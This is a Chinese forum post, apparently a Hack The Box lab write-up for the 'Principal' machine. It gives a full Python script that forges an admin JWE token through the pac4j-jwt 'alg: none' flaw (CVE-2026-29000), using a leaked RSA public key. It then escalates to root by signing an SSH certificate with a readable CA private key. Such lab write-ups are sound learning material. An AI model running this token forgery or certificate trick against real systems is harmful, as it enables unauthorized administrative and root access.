-
-
[原创]HTB Principal渗透测试题目 writeup
-
发表于: 2小时前 71
-
前渗透
通过nmap扫描,发现了两个开放的端口:22与8080,其中8080提供了一个http服务

访问发现是一个登陆页面,在brup抓包里得到了一个版本信息:


搜索pac4j-jwt/6.0.3的cve漏洞,发现了一个CVE-2026-29000,这个漏洞是近一个月的,非常新
该漏洞的原理是:服务器在获取到JWE时,一般而言会先解密 JWE,然后解析内层 JWT,最后验证内层 JWT 签名,pac4j-jwt 在处理内层 JWT 时,会使用 toSignedJWT() 方法来提取带签名的 Token。然而,如果攻击者将内层 JWT 的签名算法设置为 alg: none,该方法会返回null。而代码逻辑在其返回null时会直接跳过后续的签名验证步骤,从而出现提权漏洞
不过要利用这个漏洞还需要拥有服务器的 RSA 公钥,分析一下用于支撑该页面前端逻辑的/static/js/app.js,发现了一个关键路由:

访问发现该路由不需要验证,直接返回了服务器的rsa公钥

{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}
app.js里也泄露了jwt的payload格式:

因此我们只需要构造一个Header里的alg为none,在payload里写上:
{
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": int(time.time()),
"exp": int(time.time())
}
签发时间与过期时间使用python的time库获取
再把签名设置为空,最后再使用RSA密钥加密即可。不过这个还不是完整的JWE。生成完整JWE的脚本:
import json
import base64
import time
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode
jwks_data = {
"keys": [{
"kty": "RSA",
"e": "AQAB",
"kid": "enc-key-1",
"n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
}]
}
def base64url_encode(data: bytes) -> str:
"""Base64URL编码,去除填充"""
return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')
def build_unsigned_jwt() -> str:
"""构造一个 alg: none 的未签名 JWT(三段式,第三段为空)"""
header = {
"alg": "none",
"typ": "JWT"
}
payload = {
"sub": "admin", # 管理员用户名
"role": "ROLE_ADMIN", # 管理员角色
"iss": "principal-platform", # 必须与 app.js 中一致
"iat": int(time.time()), # 签发时间
"exp": int(time.time()) + 3600 # 1小时后过期
}
# 编码 header 和 payload
header_enc = base64url_encode(json.dumps(header, separators=(',', ':')).encode())
payload_enc = base64url_encode(json.dumps(payload, separators=(',', ':')).encode())
# 未签名 JWT 格式:header.payload. (最后一段为空)
unsigned_jwt = f"{header_enc}.{payload_enc}."
return unsigned_jwt
def encrypt_to_jwe(plaintext: str, rsa_public_key: jwk.JWK) -> str:
"""使用 RSA-OAEP-256 + A128GCM 加密明文,返回 JWE Token"""
# 创建 JWE 对象,指定算法和加密方法
jwe_token = jwe.JWE(
plaintext.encode('utf-8'),
json_encode({
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"kid": "enc-key-1" # 必须与 JWKS 中的 kid 匹配
})
)
jwe_token.add_recipient(rsa_public_key)
# 生成紧凑序列化格式(5段,点分隔)
return jwe_token.serialize(compact=True)
def main():
# 从 JWKS 构建 RSA 公钥对象
rsa_key = jwk.JWK.from_json(json_encode(jwks_data["keys"][0]))
# 1. 构造未签名 JWT
unsigned_jwt = build_unsigned_jwt()
print(f"[*] 未签名 JWT (alg: none):\n{unsigned_jwt}\n")
# 2. 加密成 JWE Token
final_token = encrypt_to_jwe(unsigned_jwt, rsa_key)
print(f"[*] 最终 JWE Token:\n{final_token}\n")
# 3. 使用提示
print("[+] 使用方法:")
print(" - 浏览器中打开登录页面,打开开发者工具控制台,执行:")
print(f" sessionStorage.setItem('auth_token', '{final_token}');")
print(" location.href = '/dashboard';")
print(" - 或者直接用 curl 测试:")
print(f" curl -H 'Authorization: Bearer {final_token}' http://靶机IP/api/users")
if __name__ == "__main__":
main()
伪造登录成功,可以看到已经通过认证了:

访问/api/settings,发现了一个security栏:

encryptionKey栏有一个D3pl0y_$$H_Now42!,提示deploy_SSH_now,说明这可能是用来ssh登陆的密钥
访问/api/users

发现一个svc_deploy,其名字与密码的提示比较相近,猜测得到的密码可以登陆该用户(猜测不到也没事,穷举一遍即可)

登陆成功!
后渗透
使用groups检查一下自己在什么组

发现了一个deployers组,使用命令find / -group deployers -readable 2>/dev/null查找有哪些可读的内容

/opt/principal/ssh路径是可读的,同时有一个可读的配置文件/etc/ssh/sshd_config.d/60-principal.conf
检查文件内容:

root不允许使用密码登录,但是最后一行TrustedUserCAKeys /opt/principal/ssh/ca.pub其指定一个受信任的 SSH 用户证书颁发机构(CA)的公钥文件路径(此处为 /opt/principal/ssh/ca.pub)。当客户端使用由该 CA 签发的用户证书进行认证时,sshd 会使用此公钥来验证证书签名的有效性。而这个路径下的文件我们是可以访问的,因此我们可以通过获取ca的私钥文件,并利用ssh-keygen 和私钥文件签发证书
看看/opt/principal/ssh/下有哪些文件

存在ca私钥文件且可读,

将私钥保存到本地,然后签发证书。
# 生成用户密钥对
ssh-keygen -t rsa -f principal_user -N ""
# 使用 CA 私钥签发证书,有效期为 30 mins,允许登录 root
ssh-keygen -s ca -I "any_identity" -n root -V +30m principal_user.pub


生成了我们最终要的证书,接下来就可以使用ssh -i principal_user root@<靶机IP>登录到root用户了

提权完成。